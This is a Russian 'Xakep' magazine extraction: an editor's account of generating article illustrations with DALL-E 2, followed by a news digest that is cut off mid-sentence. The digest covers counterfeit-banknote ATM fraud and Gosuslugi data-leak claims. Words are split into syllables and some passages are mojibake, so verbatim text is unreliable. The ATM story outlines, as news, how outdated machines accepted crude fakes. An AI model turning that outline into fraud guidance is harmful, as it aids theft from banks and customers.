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HEADER

DALL-E 2 — ней росеть, которая рису ет
кар тинки по тек сто вому зап росу. Гуляв шие
в этом году при меры работы с ней прос то
поража ют: иног да она рису ет, как нас -
тоящий худож ник, и еще и пред лага ет
вари анты на выбор! Мы два месяца
исполь зовали DALL-E 2, что бы генери -
ровать кар тинки к стать ям, и сегод ня я
покажу, как это было.

Проб лема иллюс тра ций к стать ям у нас сто ит дав но: изоб ражения с фотос -
токов обыч но скуч ные, а по теме информа цион ной безопас ности вооб ще тос ка
смер тная — бес конеч ные хакеры в капюшо нах и лета ющие полуп розрач ные
бук вы. Нанимать иллюс тра тора, который выдавал бы по кар тинке в день, —
слиш ком нак ладно. В ито ге вык ручива емся как можем.

Мысль генери ровать кар тинки при помощи ней росети меня сра зу же зах -
ватила: это быс тро, мож но (в теории!) изоб разить имен но то, что хотел, а если
резуль тат будет несовер шенным, то пус кай это будет фир менной фичей, эта -
ким приз наком того, что мы тут уже живем в будущем.

Как толь ко я уви дел кар тинки, сге нери рован ные ней росетью DALL-E 2, я
открыл рабочий чат и объ явил, что нам сроч но нуж на эта шту ка. В июле дос туп
раз дали мил лиону жду щих в оче реди, и одно му из наших сот рудни ков повез ло
(спа сибо ему огромное, что поделил ся дос тупом!).

С того момен та я два месяца упражнял ся в соз дании кар тинок при помощи
ней росети и снаб жал ими статьи «Хакера». Перебор вари антов стал в редак ции
регуляр ным уве селе нием, которым я хочу поделить ся и с читате лями.

Нач нем с кар тинки к статье про рас сле дова ние киберин циден та, вышед шей
на прош лой неделе.

На кар тинки мож но нажать, что бы уве личить.

 Ñòàòüÿ: Уро ки форен зики. Иссле дуем дам пы и ищем сле ды взло ма в сис теме
 пус кай Шер лок Холмс или человек, похожий на него, изу чает жес ткий

диск.

Èäåÿ:

sherlock holmes inspecting a hard drive

Увы, у DALL-E 2 пло хова то и с лицами, и с точ ным изоб ражени ем устрой ств.
Ничего не под ходит.

С реалис тичны ми людь ми свя зывать ся не хочет ся, тог да пус кай это будет
детек тив Пикачу!

detective pikachu inspecting a hard drive in a hi-tech room

Ах да, DALL-E 2, ско рее все го, ничего не зна ет про детек тива Пикачу, потому
что не видела ком мерчес ких кар тинок с рек ламой филь ма. Зато видела мяг кие
игрушки Пикачу, поэто му у нас есть мяг кая игрушка, но без шап ки Шер лока.
В любом слу чае на всех кар тинках он дела ет что-то стран ное. На рас сле дова -
ние не тянет.

Воз вра щаем ся к идее с Шер локом, но поп робу ем сде лать его муль тяш -
ным.

cartoon sherlock holmes inspecting a hard drive in a tech room

Пос ледний вро де бы сим патич ный, но прев ратить это в горизон таль ную кар -
тинку будет слож но. Осталь ные дер жат очень стран ные пред меты.

А что, если сде лать фото, но из ста рой газеты? Это поможет скрыть недос -
татки, да и детек тив будет более узна ваемым.

old newspaper photo of sherlock holmes inspecting a hard drive

Пос ледне го берем! Раз ве что бровь стран новатая, но иде ала все рав но
не добить ся.

ÌÓ×ÅÍÈß

Го ворят, что бы нарисо вать при лич ную кар тинку при помощи DALL-E 2, нуж но
сде лать в сред нем 30–50 зап росов, а если тре бует ся что-то дей стви тель но
выда ющееся, то счет может пой ти на сот ни. Мы обыч но огра ничи вались дву -
мя-тре мя зап росами, хотя в некото рых слу чаях поис ки рас тягива лись
до пяти-вось ми. Глав ное — вов ремя отка зать ся от слиш ком сме лой идеи.

 Ñòàòüÿ: Ска ним на Python. Как написать и улуч шить собс твен ный ска нер пор -
тов

 ска нер, ска нер... Пер вая ассо циация — ска нер штрих-кодов на кас се.

А кас сира для сме ха поп робу ем сде лать зме ей в парике.

Èäåÿ:

cashier is a snake in a wig holding a barcode scanner in its tail

Что про сил, то, в целом, и получил. Кажет ся, идея слиш ком слож ная, поэто му
сде лаем поп рямоли ней нее. Пусть питон будет инспек тировать сер вер. Ска -
жем, дер жать в хвос те уве личи тель ное стек ло.

digital art of a python with a magnifying glass in its tail in a 
server room inspecting a server

Ру ка-хвост — ого-го! Все осталь ное тоже не годит ся. Поп робу ем сде лать
питона муль тяш ным.

cartoon illustration of a python inspecting a server with a lens 
in a server room

Стиль неп лох, но очень уж рукас тые питоны! Поп робу ем сно ва уточ нить
про хвост.

cartoon illustration of a python with a magnifying glass in its 
tail in a server room inspecting a server

Ка жет ся, руки неиз бежны. Что ж, возь мем пер вого. В кон це кон цов, для муль -
тфиль ма питон с рукой — это поч ти нор маль но.

 Ñòàòüÿ: Вре мя паять! Под бира ем инс тру мен ты и осва иваем искусс тво пай ки
 нуж но нарисо вать паяль ник. Пус кай взды мает ся в небо в лучах сол нца.Èäåÿ:

soldering iron shining brightly in a ray of light against the sky

Это... не паяль ники. Про бую еще раз, заменив сол нце звез дным небом
и добавив «реализм» и «высокое качес тво».

high quality realistic soldering iron shining brightly in the 
night sky

Выш ли какие-то кос мичес кие кораб ли. И у при шель цев явно дур ные намере -
ния.

Про бую сде лать «кар тину» и добавить руку и печат ную пла ту в качес тве
фона.

realistic painting of a hand with a soldering iron soldering a 
computer chip to a pcb

А вот это поч ти хорошо! Берем тре тий, нес мотря на то что человек тычет жалом
куда-то в про цес сор.

 Ñòàòüÿ: Вин да на айфо не. Исполь зуем вир туал ку UTM для уста нов ки Windows
на iOS

 пер вая мысль очень пря моли ней ная — поп росим нарисо вать айфон

с Windows на экра не и пос мотрим, что вый дет.

Èäåÿ:

phone on the table with microsoft windows on screen

Да, это опре делен но какие-то айфо ны. Но дизай нил их не Джон ни Айв. Да и
вин ды нету.

Про бую тог да поп росить зна мени тый зеленый холм из Windows XP.

iphone laying on the table with windows xp green hill on screen

Зе леный экран есть! Зелено го хол ма нет.
По жалуй, зас тавлять DALL-E рисовать реалис тичную тех нику прос то бес -

полез но. Поп робу ем вмес то это го что-нибудь абс трак тное. Намек нем на вло -
жен ность опе раци онных сис тем, а что бы было кра сиво, сде лаем в сти ле Саль -
вадора Дали.

screens within screens endless loops in style of salvador dali

Тут я усво ил важ ный урок: если поп росить у DALL-E безум ную чер товщи ну, то
все получит ся! Я взял третью кар тинку из-за того, что она нем ного напоми нает
логотип прог раммы UTM, о которой идет речь в статье.

Продолжение статьи →
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ÓÄÀ×È

Хо рошо при думан ный зап рос, нем ного везения, и DALL-E спо соб на выдать
кар тинку не хуже, чем с фотос тока, а иног да и луч ше.

 Ñòàòüÿ: Мик рокон трол лер не нужен! Дела ем ради опри емник на копе ечном

китай ском чипе
 почему-то сра зу вспом нился ста рый мем про трол лей бус из бухан ки

хле ба. DALL-E к бою!

Èäåÿ:

stock photo of a radio made out of a loaf of bread

Все кар тинки мне очень нра вят ся, выбираю пер вую. Радио в науш никах —
нем ного стран но, но будем счи тать, что у него прос то такая руч ка.

 Ñòàòüÿ: Privesc as a Service. Повыша ем при виле гии через Active Directory

Certication Services
 статья у нас про под дель ные сер тифика ты. Под делку изоб разить слож -

но, поэто му пус кай горят, это всег да хорошо выг лядит!

Èäåÿ:

Нач нем с сов сем крат кого зап роса, пос мотрим, что вый дет:

burning diplomas

Выш ло не очень — фоторе ализм не удал ся. Наугад про бую добавить «medievel
painting» — «сред невеко вая кар тина».

От лично! Все хороши, берем вто рой.

 Ñòàòüÿ: Мас тер ская хакера. 13 ути лит для Linux, которые при годят ся адми ну
 сде лаем кру того пин гви на, который едет на гоноч ной машине. В сти ле

рет ровейв для допол нитель ной кру тос ти.

Èäåÿ:

a penguin in cool looking shades driving a ferrari f40 
convertible in miami neonwave illustration

У пред послед него пот ряса ющая носовая фигура, но пос ледний поч ти иде ален.
Толь ко руль не задал ся и вто рое сиденье — с пин гвинь им клю вом. Но его
будет лег ко замазать в редак торе.

Вдох новив шись, зап рашиваю еще таких же пин гви нов, убрав точ ную мар ку
машины — DALL-E все рав но в них пло хо раз бира ется.

a penguin in cool looking shades driving a ferrari convertible in 
miami neonwave

Три резуль тата похуже, но пос ледний прос то отличный. Толь ко пог ляди,
как пин гвин дер жит лап кой руль!

 Ñòàòüÿ: Ин филь тра ция и эксфиль тра ция. Изу чаем методы переда чи дан ных

при пен тестах
 дол го ломаю голову над инфиль тра цией и эксфиль тра цией и в ито ге

при думы ваю кота, который вору ет рыбу у рыбака. Делаю для про бы слег ка
абс трак тный зап рос. Добав ляю сло во «кар тина», что бы скрыть воз можные
огре хи.

Èäåÿ:

painting of a cat stealing a fish from a fisherman

Кро ме пос ледне го, резуль таты сим патич ные, хотя DALL-E почему-то решила,
что и рыбак тоже впол не может быть котом. Берем пер вого, самого душев -
ного, хотя худи (или ска фандр?) из шку ры все же вызыва ет воп росы.

 Ñòàòüÿ: Впе ред в прош лое! Как выжить в Windows 2000 в 2022 году
 Windows 2000? Это было дав но. Пишу: «пещер ные люди охо тят ся

на доис торичес кие компь юте ры, нас каль ная живопись». Да прос тит меня
автор!

Èäåÿ:

cave painting of people hunting a laptop

Охо ты на ноут бук не про исхо дит, но резуль таты тем не менее хороши. Мне
осо бен но пон равил ся пер вый, где кто-то все же несет топор.

 Ñòàòüÿ: Ядо витые гиф ки. Как работа ет уяз вимость GIFShell

 гиф ки у меня ассо циируют ся с пик сель-артом и с летящей Nyan Cat.
И поп росим одеть кош ку в плащ из кис лоты.
Èäåÿ:

nyan cat in a cape of green acidic fluid pixel art

У DALL-E уди витель ным обра зом получа ется поч ти нас тоящий пик сель-арт.
Да и коты тоже отличные. Мне боль ше все го пон равил ся пер вый, но редак -
цион ным голосо вани ем выб рали пос ледне го.

 Ñòàòüÿ: Кар тошка-0. Повыша ем при виле гии в AD при помощи RemotePotato0

 вспом нив Мис тера Кар тошку из «Исто рии игру шек», пыта юсь соз дать

похоже го пер сонажа. Что бы было сов сем как у Pixar, добавим, что нужен
высоко качес твен ный рен дер.

Èäåÿ:

high quality rendering of a happy potato with a face in a room

Класс! Все кар тошки прек расны, некото рые хочет ся сра зу же пос тавить себе
на ава тар ку. Вто рая осо бен но про ник новен ная. Берем ее!

 Ñòàòüÿ: Лет ние иссле дова ния для чем пионов Security. Колон ка Дениса Мак -
рушина

 чем пион на поди уме с кни гой в руках.Èäåÿ:

a painting of a champion standing on a podium with a book in his 
hand with dramatic backlight

По вез ло с пер вого раза. Беру треть его, дорисо вываю фон, и готово.

 Ñòàòüÿ: Су ровая жаба. Изу чаем защиту Excelsior JET для прог рамм на Java

 будем рисовать жабу. Боль шую сер дитую жабу, сидящую в болоте.Èäåÿ:

big angry toad staring in dramatic light in a swamp

Не веро ятно, но у нас четыре поч ти фоторе алис тичные жабы. Годит ся любая, я
выб рал пер вую.

 Ñòàòüÿ: Ле то в сти ле рет ро. Замет ки глав реда, затерян ного в прос транс тве

и вре мени
 это моя пре дыду щая колон ка — о том, как я все лето уго рал по рет -

рогей мин гу и рет рокомпь ютин гу и разъ езжал на моторол лере (тоже доволь но
вин тажном). Его и изоб разим в лучах заката.

Èäåÿ:

retrowave summer yamaha scooter trees against sunset cyberspace

Кра сота какая! Вто рая кар тинка поч ти иде аль на, но при дет ся вып равлять
или замазы вать в редак торе поломан ное вни зу сол нце. Берем чет вертую, где
кри виз на сой дет за сти лиза цию.

ÍÅÓÄÀ×È

Да леко не все зап росы удив ляют спо соб ностью DALL-E тво рить шедев ры. Я
здесь пос тарал ся не занимать ся чер ри-пикин гом и показать, как работа с ней -
росетью выг лядит в реаль нос ти. Обыч но мне уда валось в ито ге добить ся
от DALL-E тол ка, но за два месяца было нес коль ко слу чаев, ког да при ходи лось
оставлять попыт ки и брать готовую кар тинку из интерне та.

 Ñòàòüÿ: Уро ки форен зики. Рас сле дуем зараже ние машины с Windows шпи -

онским тро яном
 шпи онские тро яны... Что, если попытать ся изоб разить тест Вой та —

Кам пфа из «Бегуще го по лез вию»?
Èäåÿ:

Voight Kampff Test

DALL-E 2 уло вила идею, но то ли не до кон ца, то ли опять ничего не зна ет
о копирай чен ном кон тенте. Я в ито ге пошел вспо минать, как выг лядело прис -
пособ ление, и взял кар тинку из филь ма.

Дру гие подоб ные слу чаи я опу щу, ничего занима тель ного в них нет.

Продолжение статьи →
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ÕÎÕÌÛ

От кры вать DALL-E, при думы вать зап рос и ждать резуль тата для меня, нес -
мотря на все слож ности, ста ло одной из при ятней ших час тей работы. Не в пос -
леднюю оче редь потому, что резуль таты час то выходят веселы ми — нас толь ко,
что мож но пор жать, как говорит ся, всем офи сом.

 Ñòàòüÿ: Бан Kiwi Farms. Почему Cloudare отка залась защищать сайт, где

собира ются трол ли и стал керы
 к вла дель цам форума Kiwi Farms бук валь но вло милась бри гада SWAT.

Поп робу ем это изоб разить! Я дав но хотел поп росить у DALL-E сде лать
что-нибудь в сти ле комик сов Меби уса, который счи тает ся одним из соз -
дателей кибер панка как визу аль ного сти ля.

Èäåÿ:

SWAT team seen through the door in style of mobius comic books

Кар тинки выш ли кра сивые, но, увы, совер шенно непонят но, что здесь про исхо -
дит. Хотелось бы к тому же вид из откры той две ри, а не из-за спин. Про бую
испра вить это.

SWAT team looking at you through the open door in style of mobius 
comics

Смот рю на резуль таты круг лыми гла зами, потом потихонь ку начинаю выть.
Про дол жаю смот реть, и вой пос тепен но перехо дит в ор. На вто рой кар тинке,
кажет ся, изоб ражена полиция мемов. Ски дываю кар тинки авто ру статьи —
Маше Нефедо вой, она про ходит через ту же череду эмо ций.

Ка жет ся, нуж но менять под ход. Я уже выяс нил, что у DALL-E отлично
получа ются забав ные ово щи и фрук ты с гла зами. Грех этим не вос поль зовать -
ся. А киви-пираты вооб ще будут хитом! Про буем.

a painting of three kiwis with evil faces dressed as pirates 
dramatic light

На мой взгляд, резуль тат велико леп ный. Одна ко Маша, кри тич но огля дев наш
с DALL-E шедевр, говорит, что, во-пер вых, киви на вид так себе, во-вто рых,
вла дель цы форума име ли в виду птич ку, а не пло ды. Упс!

Лад но, пти ца так пти ца. Нарядим ее в чер ную худи и посадим за ноут бук.

evil kiwi bird in a black hoodie in front of a laptop

Они все прос то прек расны, и на этот раз Маша не в силах спо рить. Вто рой пот -
ряса ет нас сво ей шубой и сво им злым «лицом». Но выбира ем того, который
что-то печата ет клю виком.

Прав да, Маша к это му момен ту уже сама сде лала более серь езную иллюс -
тра цию при помощи Midjourney, так что пти ца отправ ляет ся толь ко в соц сети.

 Ñòàòüÿ: Об лака под угро зой. Как пен тестить инфру в AWS
 летящий в обла ках чер ный воз душный шар с черепом и кос тями.

Для кра соты про сим под све тить лучами сол нца.

Èäåÿ:

black hot air balloon with skull and bones in the sky with clouds 
backlit by the sun

Ху же все го получи лись череп и кос ти, но это лег ко испра вить. Беру пер вый,
замазы ваю в редак торе стран ную полосу сле ва, нак ладываю кар тинку
с Веселым Род жером.

Но что бы получить дос таточ ную ширину по горизон тали, нуж но боль ше
неба. Не поп робовать ли фун кцию дорисо выва ния? Отре заю кусочек неба
и про шу DALL-E допол нить его. Ответ совер шенно нед вусмыс ленный!

Од нако обла ка — суб стан ция очень гиб кая, мож но редак тировать как угод но.
Без проб лем замазы ваю безоб разие и при лажи ваю обла ка к кар тинке.

 Ñòàòüÿ: Фун дамен таль ные осно вы хакерс тва. Борем ся с дизас сем бле рами
и зат рудня ем реверс прог рамм

 цикл «Фун дамен таль ные осно вы хакерс тва» мы всю дорогу иллюс три -

рова ли каким-то сто ковым типом в чер ной худи. Но в честь пос ледне го выпус -
ка, выход которо го еще и (поч ти) сов пал с днем рож дения Юры Язе ва,
хотелось раз нооб разия. Что, если вру чить хакеру в руки тор тик?

Èäåÿ:

photo of a hacker in a black hoodie holding a birthday cake dark 
background backlit

Поч ти хорошо! Но в лица луч ше не вгля дывать ся, конеч но.

 Ñòàòüÿ: Пе рех ват VK. Как хакеры исполь зуют клик дже кинг для деано ними -

зации
 клик дже кинг — перех ват кли ков мышью. Мышей перех ватыва ют кош ки,

так что поп робу ем нарисо вать кош ку, которая ловит компь ютер ную мышь.

Èäåÿ:

Для начала возь мем муль тяш ный стиль.

cartoon illustration of a cat holding a computer mouse in its 
mouth

В целом не так пло хо, и коты забав ные, но вез де раз ные изъ яны. То мышь
не вид но, то мышь изу родо вана до неуз нава емос ти, то коты слиш ком кри вые.

Ре шаю поп робовать поп росить под делку под рен дер.

high quality octane render of a cat holding a computer mouse in 
its mouth

Ко ты страш новатые, и белый фон не годит ся. Делаю еще один заход и про шу
добавить жел тый фон.

high quality octane render of a cat holding a computer mouse in 
its mouth on a yellow background

От души веселюсь, раз гля дывая резуль таты. Готово го по-преж нему нет,
но пер вому коту хотя бы лег ко добавить недос тающий зра чок. Рисуя, нем ного
уми раю внут ри от того, какой кот круг лый и какие у него .ïàëü öû

 Ñòàòüÿ: Да ня сно ва с нами! Выяс няем у Дани Шепова лова, где он про -

падал 20 лет и при чем тут гуси
 нужен Даня, ослик и гуси. Сра зу мыс ли о каких-то ста рин ных кар тинах.

Ски талец едет на осле и ведет за собой стаю гусей. Поп робу ем сти лизо вать
под сред невеко вую ико ну.

Èäåÿ:

a man with a goose and a donkey medieval icon high quality

Пос ледняя кар тинка хороша, но у нашего про рока что-то не то с лицом. Про -
бую еще раз, под кре пив религи озные мотивы.

a man with a goose and a donkey ancient religious painting

Кар тинки отличные, одна ко ним бы, пожалуй, не к мес ту. Даня, конеч но, леген -
да, но далеко не свя той. Выбира ем пер вую. К тому же эти гуси с ногами
(руками?) абсо лют но невоз можные.

ÊÎØÌÀÐÛ

Ес ли нуж но нарисо вать что-нибудь пуга ющее, ней росети здесь могут ока зать
неоце нимую помощь. Увы, огра ничить кри поту очень слож но, и она вылеза ет
тут и там совер шенно неп роиз воль но.

 Ñòàòüÿ: Ата ка Базаро ва. Evil Twin поверх динами чес кой мар шру тиза ции

 изоб разим зло го двой ника. Ска жем, человек сто ит перед зер калом,
а отра жение — его злая вер сия. С крас ными гла зами и клы ками!
Èäåÿ:

illustration of a man in the room looking in the mirror and 
seeing his angry evil twin with fangs and red eyes

Кош мар! Двой ники, может, и ничего, но у нас и ори гина лы не очень-то доб рые
выш ли.

Ес ли нам нуж ны клы ки, то пус кай в зер кале будет орк. В кро ви!

a man looking in the mirror and seeing an orc covered in blood

Мне пон равилось, что одно из отра жений еще и дер жит в руках зер кало. Может
быть, тре тий вари ант чуть луч ше дру гих, но в целом все это никуда не годит ся.

Про буем слег ка дру гой под ход. Пус кай человек видит себя демоном
из ада.

illustration of a man in the room looking in the mirror and 
seeing himself as a demon in hell

Пер вый вро де бы ничего! Но тут я решил дать выбор самому авто ру статьи.
А тот сра зу ска зал, что вто рая кар тинка из пер вого зап роса иде аль на. Поп росил
добавить на грудь его любимую руну, я, конеч но же, добавил.

 Ñòàòüÿ: Ана томия эль фов 2. Раз бира ем устрой ство ELF-фай лов в под робнос -

тях
 поп робу ем нарисо вать что-то вро де ана томи чес кого атла са, но для эль -

фа и с под писями на эль фийском. Под писи — боль шой риск, любые бук вы
DALL-E дают ся очень пло хо.

Èäåÿ:

anatomic picture of an elf

В прин ципе, неп лохо, кро ме того, что эль фы не те — слиш ком ска зоч ные. Поп -
робу ем еще разок, добавив упо мина ние эль фийских рун. Воз можно, это как
раз наведет DALL-E на мысль о тол киенов ских эль фах.

anatomic picture of an elf annotated with elven runes

Эль фы ста ли более фэн тезий ными, но все страш новатые. Про бую еще раз.

anatomic diagram of an elf annotated with elven runes

Эль фы все страш нее и страш нее. Это уже не Тол киен и даже не Перумов.
Впро чем, пер вая кар тинка хотя бы дос таточ но абс трак тная. Отправ ляю зап рос
еще раз, на уда чу поменяв синоним для диаг раммы в надеж де, что эль фы
будут в раз резе.

cross-section anatomic diagram of an elf annotated with elven 
runes

Ну все, дело сде лано, теперь это нас тоящее топ ливо для кош маров, осо бен но
этот ELL без лица и с рос кошны ми рогами (и пот ряса ющей диаг раммой).

ÑÎÂÅÒÛ

За эти два месяца я неп лохо нат рениро вал ся в обра щении с DALL-E. Поп робую
поделить ся некото рыми совета ми.
1. Луч ше все го у DALL-E получа ется под делывать ся под сюр реализм —

недаром наз вание намека ет на Саль вадора Дали.
2. Дру гие извес тные художес твен ные сти ли тоже сра баты вают. Сме ло добав -

ляй к зап росу имя любимо го худож ника.
3. Фо торе алис тичные изоб ражения иног да получа ется хорошо (как в при мере

с жабой), но если тебе нуж но нарисо вать лицо челове ка или какое-то
устрой ство, то добить ся прав доподо бия будет очень тяжело.

4. Рен деры, каран дашные наб роски и карика туры иног да получа ются неп лохо,
но это чис той воды уда ча. Вооб ще, чем мень ше деталей, тем ско рее DALL-
E нарису ет что-то лиш нее.

5. Не забывай ука зывать, где про исхо дит дей ствие, ина че есть шанс получить
белый фон.

6. Про сить «высокое качес тво» не помеша ет, но это не вол шебные сло ва,
которые авто мати чес ки улуч шат любую кар тинку.

7. Нуж но обра щать вни мание на осве щение. «Дра матич ный свет» и «закат»
час то улуч шают резуль тат.

8. Что бы получить изоб ражение без кри виз ны, нуж но делать очень мно го зап -
росов, при чем луч ше все го про раба тывать нес коль ко идей, пока
не нащупа ешь ту, которая у ней росети получа ется луч ше все го.

 — под робное руководс тво
по исполь зованию DALL-E 2;

Ultimate guide to DALL·E 2: how to use it & how
to get access

 — пре зен тация,
в которой есть мно жес тво при меров зап росов.
The DALL·E 2 Prompt Book

ÂÛÂÎÄÛ

Ра ботая с DALL-E, я понача лу чувс тво вал себя пещер ным челове ком, которо му
дали нем ного поиг рать с крем нем и повысе кать искры. У ней росетей есть
огромный потен циал, и сей час их раз витие — чуть ли не самое инте рес ное, что
про исхо дит в области вычис литель ной тех ники.

Воп рос о том, лишат ли ней росети работы худож ников, для меня пока
открыт. На мой взгляд, если и лишат, то нес коро, а пока что работы может
стать даже боль ше.

Очень час то кар тинки нуж но дораба тывать, к тому же сами зап росы сос -
тавлять не так-то прос то, и поз нания в исто рии искусс тва дают пре иму щес тва.
В иде але нуж но акку рат но нап равлять ней росеть в сто рону задум ки — при чем
не толь ко сло вами, но и сво ими наб роска ми.

Не дав но мне встре тил ся очень инте рес ный  того, как при помощи
локаль но раз верну той ней росети Stable Diffusion и гра фичес кого редак тора
мож но нарисо вать в точ ности то, что задума но. Пред полагаю, ско ро появят ся
и «облачные» редак торы с подоб ными (и гораз до более прод винуты ми) инс -
тру мен тами. И кто-то дол жен будет учить ся ими поль зовать ся.

при мер

Наш при мер показы вает, что рань ше мы не мог ли поз волить себе рисовать
кар тинки для каж дой статьи и были вынуж дены выбирать из того, что есть
на фотос токах, а с DALL-E можем поз волить себе гораз до боль ше иллюс тра -
ций. С помощью ней росетей рисовать по кар тинке в день нам ного лег че, и,
естес твен но, это дол жен делать спе циаль ный человек, а не раз вле кающий ся
глав ный редак тор.

ÁÎÍÓÑ

На слад кое покажу зап рос, который я исполь зовал, что бы сде лать заход ник
к этой статье. Я поп робовал образно пред ста вить нашу редак цию.

office in style of Hieronymus Bosch

По рази тель ное сходс тво! На пер вой я работаю за .
На вто рой Вален тин Хол могоров ожив ляет . На треть ей
кто-то из наших авто ров начал писать статью и исчез (типич но). Ну а на пос -
ледней Дима Ага рунов редак тиру ет какой-то важ ный биз нес-документ, а вок -
руг… Кажет ся, кипит работа.

ай падом с кла виату рой
вин тажный компь ютер

https://xakep.ru/2022/09/21/kiwi-farms-ban/
https://xakep.ru/2022/09/06/aws-pentesting/
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https://xakep.ru/2022/08/19/vk-clickjacking/
https://xakep.ru/2022/08/18/dayna-interview/
https://xakep.ru/2022/09/30/ospf-evil-twin/
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https://xakep.ru/2022/05/23/magic-ipad/
https://xakep.ru/2020/05/21/diy-hackintosh/
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В этом месяце: Илон Маск все-таки купил Twitter за 44 мил -
лиар да, мошен ники обма нули бан коматы «Аль фа-бан ка»
на 60 мил лионов руб лей с помощью купюр из «бан ка при -
колов», дро ны с хакер ским обо рудо вани ем ата кова ли
финан совую ком панию из США, баг ядра Linux пов режда ет
дис плеи ноут буков с Intel GPU, интернет-архе оло гам пред -
ложили изу чить 11 Тбайт ста рых дис кет и CD, кар деры сно -
ва устро или «аттрак цион невидан ной щед рости» и раз дают
кар ты бес плат но, и дру гие инте рес ные события про шед -
шего октября.

МИЛЛИОНЫ
ИЗ БАНКА ПРИКОЛОВ
СМИ ста ло извес тно о круп ной афе ре, от которой недав но пос тра дал «Аль -
фа-банк»: мошен ники внес ли в бан коматы фаль шивые купюры на общую сум -
му более 60 мил лионов руб лей, пос ле чего сня ли уже нас тоящие день ги.

Ин цидент про изо шел в кон це августа, и прес тупни ки ата кова ли опре делен -
ные модели бан коматов ком пании NCR, под делав пятиты сяч ные купюры
образца 1997 года. Мошен ники поп росту внес ли фаль шивые купюры на свои
сче та в «Аль фа-бан ке», а бан коматы не обна ружи ли под делки и при няли все
налич ные.

По дан ным источни ков, в общей слож ности бан коматы при няли боль -
ше 12 300 фаль шивых купюр, то есть ущерб исчисля ется десят ками мил -
лионов руб лей. Ког да все фаль шив ки были пущены в дело, мошен ники сня ли
нас тоящие день ги через дру гие бан коматы.

По ка полиция про води ла про вер ку по заяв лению бан киров, обна ружив ших
подоз ритель ную активность, прес тупни ки еще нес коль ко дней про дол жали
свои махина ции. То есть их жер тва ми мог ли стать не толь ко бан киры, но и
обыч ные граж дане, которым бан коматы при сня тии налич ных мог ли выдать
купюры «бан ка при колов».

В ходе рас сле дова ния было уста нов лено, что для сво ей ата ки прес тупни ки
выб рали два типа бан коматов ком пании NCR с уста рев шими ПО и устрой ства -
ми при ема купюр. При этом усердство вать в изго тов лении фаль шивок зло -
умыш ленни кам не приш лось: купюры они при обре ли в сувенир ных магази нах
и лишь нем ного дорабо тали. Экспер тиза показа ла, что фаль шив ки напеча таны
спо собом цвет ной элек трог рафии на обыч ном ксе рок се и уже пос ле на купюры
нанес ли ими тацию некото рых сте пеней защиты.

В нас тоящее вре мя воз бужде но уго лов ное дело по фак ту кра жи в осо бо
круп ном раз мере (п. б ч. 4 ст. 158 УК РФ), потер певши ми по которо му про -
ходят «Аль фа-банк» и ряд неболь ших кре дит ных учрежде ний. По дан ным СМИ,
дело воз будило УВД по Северо-Вос точно му окру гу сто лицы.

Ве роят но, шан сы рас крыть это прес тупле ние у пра воох раните лей неп лохие,
так как, по информа ции жур налис тов, они уже выш ли на след орга низа торов,
которые не сумели надеж но скрыть свои сле ды. Так, прак тичес ки все бан ков -
ские сче та и кар ты были офор мле ны на под став ных лиц (дро пов), которые
силь но зло упот ребля ли алко голем. Имен но эти люди вно сили в бан коматы
фаль шив ки, а затем сни мали нас тоящие день ги. При этом до орга низа торов
афе ры яко бы доходи ла не вся выруч ка: алко голи ки успе вали пот ратить часть
денег в бли жай ших к бан комату магази нах.

Пред ста вите ли «Аль фа-бан ка» заяви ли, что на вре мя следс твия воз держи -
вают ся от ком мента риев.

МОБИЛЬНЫЙ ТРАФИК СНИЗИЛСЯ НА 2,5%
Дан ные Мин цифры сви детель ству ют о том, что в Рос сии впер вые сок ратил ся мобиль ный тра -
фик. Во вто ром квар тале 2022 года по срав нению с янва рем — мар том он умень шил ся поч ти
на  (  про тив  ранее). Так же, по дан ным
Рос комнад зора, в июле текуще го года транс гра нич ный тра фик в РФ вышел на пла то (в срав -
нении с янва рем 2022 года сни жение сос тавило око ло ).

2,5% 8,35 мил лиар да Гбайт 8,54 мил лиар да Гбайт

1%

Учас тни ки рын ка и экспер ты свя зыва ют сни жение объ емов тра фика с бло киров ками зарубеж ных
ресур сов, вве ден ными пос ле начала спе циаль ной воен ной опе рации, а так же с доб роволь ным
отка зом от работы в РФ инос тран ных сер висов. В час тнос ти, речь идет о бло киров ке Facebook
и Instagram (при над лежат ком пании Meta, деятель ность которой приз нана экс тре мист ской
и зап рещена в Рос сии), а так же об отка зе T ikTok работать с рос сий ской ауди тори ей.

УТЕЧКИ С ГОСУСЛУГ
В этом месяце в Telegram-каналах и СМИ нес коль ко раз появ лялась информа -
ция о сли вах дан ных, яко бы при над лежащих поль зовате лям Госус луг.

О пер вых трех утеч ках дан ных (5000, 2000 и 22 000 строк) сооб щали спе -
циалис ты Data Leakage & Breach Intelligence (DLBI). По дан ным ана лити ков, эта
информа ция, веро ятно, была получе на «бла года ря» перебо ру иден тифика -
торов поль зовате лей Еди ной сис темы иден тифика ции и аутен тифика ции
(ЕСИА). Экспер ты напоми нали, что в кон це прош лого года ста ло извес тно
о сли ве исходных кодов реги ональ ного пор тала госус луг Пен зен ской области
и в этих исходни ках обна ружи лись клю чи к сер тифика там, которые исполь зуют -
ся для дос тупа к ЕСИА.

Все три дам па содер жали сле дующие дан ные:
ФИО;•
email-адре са;•
те лефо ны;•
пол;•
да ты рож дения;•
ад реса регис тра ции и фак тичес кого мес та житель ства;•
пас порта (серия, номер, кем и ког да выдан);•
СНИЛС;•
ИНН.•

При этом пос ле пер вого же инци ден та пред ста вите ли Мин цифры опро вер гли
информа цию об утеч ке лич ных дан ных поль зовате лей Госус луг. В ведомс тве
ситу ацию про ком менти рова ли так:

«

»

«Îïðî âåð ãàåì èíôîðìà öèþ îá óòå÷ êå äàí íûõ ñ Ãîñóñ ëóã. Â ñåòè
ïîÿâèë ñÿ ôðàã ìåíò ÿêî áû áàçû äàí íûõ ïîëü çîâàòå ëåé Ãîñóñ ëóã, ñîäåð -
æàùèé 5 òûñ. çàïèñåé. Ìû ïðî âåðè ëè ýòîò ôàéë è âûÿñ íèëè, ÷òî â íåì
íåò òîãî íàáîðà ïàðàìåò ðîâ, êîòîðûå îáÿ çàòåëü íî ïðè ñóòñ òâó þò â ñòàí -
äàð òíûõ ó÷åò íûõ çàïèñÿõ Ãîñóñ ëóã. Ó÷åò íûå äàí íûå ïîëü çîâàòå ëåé ïîð -
òàëà (ëîãèíû è ïàðîëè) íå áûëè ñêîì ïðî ìåòè ðîâà íû, èíôîðìà öèÿ
íàäåæ íî çàùèùå íà.

Ïî äàí íûì ñëóæ áû áåçîïàñ íîñòè, ýòà áàçà îòíî ñèò ñÿ ê îäíîé
